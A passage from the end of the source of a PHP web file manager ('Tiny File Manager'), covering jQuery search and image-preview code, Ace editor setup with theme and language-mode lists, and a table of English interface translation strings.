$loader.removeClass('show-me'); data = JSON.parse(data); if(data && data.length) { _html = search_template(data); searchWrapper.html(_html); } else { searchWrapper.html('<p class="m-2">No result found!<p>'); } }, error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); }, failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');} }); } else { searchWrapper.html("OOPS: minimum 3 characters required!"); } } //on mouse hover image preview !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery); // Dom Ready Event $(document).ready( function () { //load config fm_get_config(); //dataTable init var $table = $('#main-table'), tableLng = $table.find('th').length, _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3], mainTable = $('#main-table').DataTable({"paging": false, "info": false, "order": [], "columnDefs": [{"targets": _targets, "orderable": false}] }); //search $('#search-addon').on( 'keyup', function () { mainTable.search( this.value ).draw(); }); $("input#advanced-search").on('keyup', function (e) { if (e.keyCode === 13) { fm_search(); } }); $('#search-addon3').on( 'click', function () { fm_search(); }); //upload nav tabs $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){ e.preventDefault();let target=$(this).data('target'); $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active'); $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden'); }); }); </script> <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): $ext = "javascript"; $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION); ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script> <script> var editor = ace.edit("editor"); editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} ); //editor.setTheme("ace/theme/twilight"); //Dark Theme function ace_commend (cmd) { editor.commands.exec(cmd, editor); } editor.commands.addCommands([{ name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'}, exec: function(editor) { edit_save(this, 'ace'); } }]); function renderThemeMode() { var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; }, _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}}; if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); } if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");} if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); } $modeEl.val( editor.getSession().$modeId ); $themeEl.val( editor.getTheme() ); $fontSizeEl.val(12).change(); //set default font size in drop down } $(function(){ renderThemeMode(); $(".js-ace-toolbar").on("click", 'button', function(e){ e.preventDefault(); let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option"); if(cmdValue && cmdValue != "none") { ace_commend(cmdValue); } else if(editorOption) { if(editorOption == "fullscreen") { (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen) &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen()); } else if(editorOption == "wrap") { let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true; editor.getSession().setUseWrapMode(wrapStatus); } else if(editorOption == "help") { var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show'); } } }); $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){ e.preventDefault(); let selectedValue = $(this).val(), selectionType = $(this).attr("data-type"); if(selectedValue && selectionType == "mode") { editor.getSession().setMode(selectedValue); } else if(selectedValue && selectionType == "theme") { editor.setTheme(selectedValue); }else if(selectedValue && selectionType == "fontSize") { editor.setFontSize(parseInt(selectedValue)); } }); }); </script> <?php endif; ?> <div id="snackbar"></div> </body> </html> <?php } /** * Language Translation System * @param string $txt * @return string */ function lng($txt) { global $lang; // English Language $tr['en']['AppName'] = 'Tiny File Manager'; $tr['en']['AppTitle'] = 'File Manager'; $tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username'; $tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out'; $tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy'; $tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all'; $tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File'; $tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size'; $tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified'; $tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search'; $tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder'; $tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename'; $tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link'; $tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions'; $tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item'; $tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor'; $tr['en']['RememberMe'] = 'Remember Me'; $tr['en']['Actions'] = 'Actions'; $tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel'; $tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder'; $tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name'; $tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download'; $tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip'; $tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit'; $tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up'; $tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files'; $tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change'; $tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language'; $tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['PartitionSize'] = 'Partition size'; $tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'; $tr['en']['Full size'] = 'Full size'; $tr['en']['Help'] = 'Help'; $tr['en']['Free of'] = 'Free of'; $tr['en']['Preview'] = 'Preview'; $tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue'; $tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size'; $tr['en']['FreeOf'] = 'free of'; $tr['en']['CalculateFolderSize']= 'Calculate folder size'; $tr['en']['ProcessID'] = 'Process ID'; $tr['en']['Created'] = 'Created'; $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in'; $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'; $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'; // new - novos $tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying fro'] = 'Error while copying fro'; $tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal'; $tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked'; $tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created'; $tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed'; $tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully'; $tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully'; $tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed'; $tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined'; $tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from'; $tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'; $tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed'; $tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from'; $tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items'; $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'; $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'; $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'; $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'; $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'; $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'; $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'; $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'; $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'; $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'; $tr['en']['Moved from'] = 'Moved from'; $i18n = fm_get_translations($tr); $tr = $i18n ? $i18n : $tr; if (!strlen($lang)) $lang = 'en'; if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]); else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]); else return "$txt"; } ?>
Close